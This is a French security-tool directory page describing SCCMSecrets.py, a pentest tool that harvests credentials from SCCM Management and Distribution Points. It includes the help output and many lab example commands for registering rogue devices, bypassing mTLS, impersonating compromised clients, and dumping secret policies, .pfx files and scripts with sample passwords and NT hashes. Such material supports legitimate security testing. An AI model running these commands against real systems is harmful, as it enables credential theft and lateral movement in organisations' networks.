Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
SCCMSecrets — SCCMSecrets.py vise à exploiter la distribution des stratégies SCCM pour la récolte d'identifiants, l'accès initial et le mouvement latéral. | Kitploit
Outils/GitHubGitHub/synacktiv/sccmsecrets
Authentification et AutorisationReconnaissanceAttaques de Mots de PasseExploitationMouvement LatéralCollecte d'InformationsPost-ExploitationMauvaise Configuration
GitHubsynacktiv/sccmsecrets

SCCMSecrets

SCCMSecrets.py vise à exploiter la distribution des stratégies SCCM pour la récolte d'identifiants, l'accès initial et le mouvement latéral.

Voir le dépôt
273336il y a 10 joursVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SCCMSecrets

SCCMSecrets.py est un outil d'exploitation des stratégies SCCM. Il va au-delà de l'extraction des identifiants NAA et vise à fournir une approche globale de l'exploitation des stratégies SCCM. L'outil peut être exécuté avec différents niveaux de privilèges et tentera de découvrir d'éventuelles erreurs de configuration liées à la distribution des stratégies. Plus de détails concernant l'outil et son utilisation sont disponibles dans l'article associé : https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial

Deux sous-commandes sont disponibles : policies et files.

Policies

Cette sous-commande interagit avec un Management Point SCCM afin d'extraire le contenu de toutes les stratégies secrètes (y compris la configuration NAA, les séquences de tâches contenant des identifiants, ou les variables de collection). Pour ce faire, un appareil SCCM approuvé est nécessaire, ce qui peut être obtenu de trois manières.

  • Si vous ne fournissez pas de compte machine, SCCMSecrets tentera d'enregistrer un appareil et d'abuser de l'approbation automatique des appareils. Il s'agit d'une configuration SCCM (non activée par défaut) qui accorde automatiquement l'état « Approuvé » aux nouveaux appareils enregistrés anonymement.
  • Si vous fournissez un compte machine, SCCMSecrets enregistrera un nouvel appareil en utilisant le point de terminaison d'enregistrement authentifié. Par défaut, SCCM accordera l'état « Approuvé » aux appareils enregistrés via ce point de terminaison.
  • Si vous fournissez l'option --altauth, SCCMSecrets exploitera un point de terminaison d'authentification alternatif, permettant de contourner les exigences mTLS et d'obtenir un appareil approuvé sans identifiants et sans la mauvaise configuration de l'approbation automatique des appareils (plus d'informations ici). Cela ne fonctionne que lorsque le MP est configuré pour utiliser HTTPS, ET que le site SCCM est configuré pour imposer HTTPS sur tout le site (si le MP utilise HTTPS mais que le site autorise soit HTTP soit HTTPS, les appareils ne sont pas automatiquement approuvés).
  • Vous pouvez également fournir un appareil existant (--use-existing-device). Cet argument attend un répertoire contenant le fichier guid.txt (GUID de l'appareil) et le fichier key.pem (clé privée de l'appareil). Cela peut être un appareil créé par une exécution précédente de SCCMSecrets, ou celui correspondant à un client SCCM légitime compromis.

Notez que les stratégies SCCM sont associées à des collections. L'enregistrement d'un nouvel appareil placera cet appareil dans les collections par défaut - ainsi, seules les stratégies secrètes des collections par défaut seront récupérées. C'est pourquoi l'usurpation d'un client SCCM légitime compromis avec --use-existing-device peut être intéressante. En effet, ce client légitime pourrait faire partie de collections personnalisées associées à des stratégies secrètes supplémentaires.

La sortie sera placée dans un sous-répertoire du répertoire loot (format : [timestamp]_policies).

root@kitploit:~
$ python3 SCCMSecrets.py policies -h
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py policies [OPTIONS]                                                                                                                                                                              
                                                                                                                                                                                                                       
 Dump secret policies from an SCCM Management Point                                                                                                                                                                    
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --management-point     -mp      TEXT     The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                             │
│ *  --client-name          -cn      TEXT     [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required]                                                │
│    --machine-name         -u       TEXT     [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval                                                           │
│    --machine-pass         -p       TEXT     [Optional] The password for the machine account                                                                                                                         │
│    --machine-hash         -H       TEXT     [Optional] The NT hash for the machine account                                                                                                                          │
│    --registration-sleep   -rs      INTEGER  [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to   │
│                                             device collections (3 minutes by default, may need to be increased)                                                                                                     │
│                                             [default: 180]                                                                                                                                                          │
│    --use-existing-device  -d       TEXT     [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it        │
│                                             expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│                                             be provided to SCCMSecrets (but does not have to match the one of the existing device)                                                                                  │
│    --pki-cert             -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication       │
│    --pki-key              -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                 │
│    --altauth              -a                [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│                                             only works when the MP uses HTTPS AND HTTPS is enforced site-wide                                                                                                       │
│    --verbose              -v                [Optional] Enable verbose output                                                                                                                                        │
│    --help                 -h                Show this message and exit.                                                                                                                                             │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

Files

Cette sous-commande indexera les fichiers stockés sur un Distribution Point et téléchargera les fichiers intéressants. SCCMSecrets tentera d'abord d'identifier si l'accès anonyme est activé (non activé par défaut). Si c'est le cas, les fichiers peuvent être indexés et téléchargés sans authentification. Sinon, des identifiants de domaine seront nécessaires.

Il est possible de télécharger des fichiers par extension. SCCMSecrets indexera les fichiers de tous les packages hébergés sur le Distribution Point (ce qui donne un fichier index.txt au format Unix tree), et téléchargera les fichiers avec les extensions spécifiées. Lorsqu'une liste vide d'extensions est fournie, seule l'indexation des fichiers sera effectuée. Dans les deux cas, à partir du fichier d'index produit, il est possible d'utiliser l'option --urls pour télécharger des fichiers intéressants spécifiques (sans réindexation).

Notez que les exigences mTLS, si elles sont implémentées, peuvent être contournées en fournissant l'option --nocert.

La sortie sera placée dans un sous-répertoire du répertoire loot (format : [timestamp]_files).

root@kitploit:~
$ python3 SCCMSecrets.py files --help
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py files [OPTIONS]                                                                                                                                                                                 
                                                                                                                                                                                                                       
 Dump interesting files from an SCCM Distribution Point                                                                                                                                                                
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --distribution-point  -dp      TEXT     An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                                      │
│    --username            -u       TEXT     [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access                                               │
│    --password            -p       TEXT     [Optional] The password for the domain account                                                                                                                           │
│    --hash                -H       TEXT     [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852)                                                                                    │
│    --extensions          -e       TEXT     [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not         │
│                                            download anything, and only index files                                                                                                                                  │
│                                            [default: .ps1, .bat, .xml, .txt, .pfx]                                                                                                                                  │
│    --urls                -f       TEXT     [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│                                            want to download by extension, but rather specific known files                                                                                                           │
│    --max-recursion       -r       INTEGER  [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10]                                                                     │
│    --pki-cert            -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication      │
│    --pki-key             -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                  │
│    --nocert              -n                [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements                                                                                  │
│    --verbose             -v                [Optional] Enable verbose output                                                                                                                                         │
│    --help                -h                Show this message and exit.                                                                                                                                              │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

À propos de l'imposition de HTTPS

Par défaut, les clients peuvent interagir avec leur Management Point ou Distribution Point en utilisant du HTTP simple. L'installation SCCM peut cependant être configurée de manière plus sécurisée en imposant l'utilisation de HTTPS. Lorsque c'est le cas (pour le Management Point, le Distribution Point, ou les deux), SCCM exigera une authentification par certificat client utilisant un certificat PKI interne avec l'objet « authentification client ».

Il est toujours possible de mener les attaques présentées ci-dessus - cependant, un certificat PKI valide doit être fourni via les options --pki-cert et --pki-key (format PEM). Les URL du Management Point / Distribution Point doivent également être préfixées par https://. Notez que les options --altauth (pour les stratégies) et --nocert (pour les fichiers) offrent des moyens de contourner l'authentification mTLS (plus d'informations ici).

Installation

Vous pouvez installer SCCMSecrets.py en clonant le dépôt et en installant les dépendances.

root@kitploit:~
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt

Exemples

Voici quelques exemples de commandes.

Policies

Récupérer les stratégies secrètes sans fournir de compte machine. Cela tentera d'exploiter la mauvaise configuration de l'approbation automatique des appareils (configuration non activée par défaut)

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'

Récupérer les stratégies secrètes en fournissant un compte machine. Cela fonctionnera dans les configurations SCCM par défaut

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'

Récupérer les stratégies secrètes d'un appareil déjà existant. Le dossier compromised_device contient un fichier guid.txt et key.pem.

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/

Récupérer les stratégies secrètes lorsque le Management Point impose HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem

Récupérer les stratégies secrètes en utilisant le point de terminaison d'authentification alternatif, permettant de contourner l'authentification mTLS et d'obtenir un appareil approuvé sans fournir d'identifiants (plus d'informations ici). Fonctionne uniquement lorsque le MP utilise HTTPS et que HTTPS est imposé sur tout le site

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth

Files

Récupérer les fichiers du Distribution Point sans fournir d'identifiants. Cela tentera d'exploiter l'accès anonyme au DP (configuration non activée par défaut)

root@kitploit:~
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab

Récupérer les fichiers du Distribution Point avec des identifiants. Cela fonctionnera dans les configurations SCCM par défaut

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'

Récupérer les fichiers avec une liste spécifique d'extensions. S'authentifier avec le hash du compte machine

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'

Récupérer des fichiers spécifiques du Distribution Point en fournissant une liste d'URL (1 par ligne)

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst

Récupérer les fichiers du DP lorsque le Distribution Point impose HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem

Contourner l'authentification mTLS lorsque le Distribution Point impose HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert
Télécharger l’outil